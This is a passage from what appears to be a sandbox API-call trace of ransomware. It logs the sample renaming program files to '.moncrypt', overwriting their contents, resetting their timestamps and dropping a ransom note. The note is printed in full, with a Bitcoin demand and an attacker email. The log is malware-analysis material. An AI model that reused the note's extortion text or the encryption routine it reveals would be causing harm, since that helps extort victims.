(pMem=0x557b78) returned 0x440004 [0059.097] GlobalUnlock (hMem=0x440004) returned 0 [0059.097] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.097] GlobalUnlock (hMem=0x44000c) returned 0 [0059.097] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.097] CharLowerBuffW (in: lpsz="as80.xsl", cchLength=0x8 | out: lpsz="as80.xsl") returned 0x8 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xslp", lpUsedDefaultChar=0x0) returned 76 [0059.097] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\as80.xslp", lpUsedDefaultChar=0x0) returned 4 [0059.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\я" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.104] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.105] CloseHandle (hObject=0x18c) returned 1 [0059.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\я" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\я")) returned 1 [0059.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 0x54e280 [0059.106] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.106] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.107] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", dwFileAttributes=0x20) returned 1 [0059.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.moncrypt")) returned 1 [0059.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.108] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.108] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4360 [0059.108] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.108] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.110] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.111] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.111] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.111] GlobalUnlock (hMem=0x440004) returned 0 [0059.111] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.111] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.111] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.111] GlobalUnlock (hMem=0x440004) returned 0 [0059.111] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.112] GlobalLock (hMem=0x440004) returned 0x561b98 [0059.112] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.112] GlobalUnlock (hMem=0x44000c) returned 0 [0059.112] GlobalHandle (pMem=0x561b98) returned 0x440004 [0059.112] GlobalUnlock (hMem=0x440004) returned 0 [0059.112] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.112] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.112] GlobalUnlock (hMem=0x440004) returned 0 [0059.112] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.112] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.112] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.112] GlobalUnlock (hMem=0x440004) returned 0 [0059.112] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.112] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.112] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.113] SetFilePointer (in: hFile=0x18c, lDistanceToMove=17248, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4360 [0059.113] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.113] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.113] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.126] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.126] CloseHandle (hObject=0x18c) returned 1 [0059.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.127] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.127] CloseHandle (hObject=0x18c) returned 1 [0059.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.128] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.128] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.128] GlobalUnlock (hMem=0x440004) returned 0 [0059.128] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.128] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.128] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.128] GlobalUnlock (hMem=0x440004) returned 0 [0059.128] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.128] GlobalUnlock (hMem=0x44000c) returned 0 [0059.128] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x559b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a888, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x55bb98, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0059.129] GetLastError () returned 0x2 [0059.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.129] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0059.130] CloseHandle (hObject=0x18c) returned 1 [0059.130] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0059.130] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.130] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.131] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.131] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.131] GlobalUnlock (hMem=0x44000c) returned 0 [0059.131] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.131] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.131] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.131] GlobalUnlock (hMem=0x44000c) returned 0 [0059.131] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.131] GlobalUnlock (hMem=0x440004) returned 0 [0059.131] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.131] CharLowerBuffW (in: lpsz="as90.xsl", cchLength=0x8 | out: lpsz="as90.xsl") returned 0x8 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xslp", lpUsedDefaultChar=0x0) returned 76 [0059.132] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\as90.xslp", lpUsedDefaultChar=0x0) returned 4 [0059.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 0x54e280 [0059.132] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.132] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.132] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", dwFileAttributes=0x20) returned 1 [0059.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.moncrypt")) returned 1 [0059.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.135] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.135] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4932 [0059.135] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.135] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.137] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.137] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.138] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.138] GlobalUnlock (hMem=0x44000c) returned 0 [0059.138] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.138] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.138] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.138] GlobalUnlock (hMem=0x44000c) returned 0 [0059.138] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.138] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.138] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.138] GlobalUnlock (hMem=0x440004) returned 0 [0059.138] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.138] GlobalUnlock (hMem=0x44000c) returned 0 [0059.138] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.138] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.138] GlobalUnlock (hMem=0x44000c) returned 0 [0059.138] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.138] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.138] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.138] GlobalUnlock (hMem=0x44000c) returned 0 [0059.138] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.138] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.138] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.139] SetFilePointer (in: hFile=0x18c, lDistanceToMove=18738, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4932 [0059.139] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.139] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.139] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.150] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.150] CloseHandle (hObject=0x18c) returned 1 [0059.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.moncrypt"), dwDesiredAccess=0x40000000, 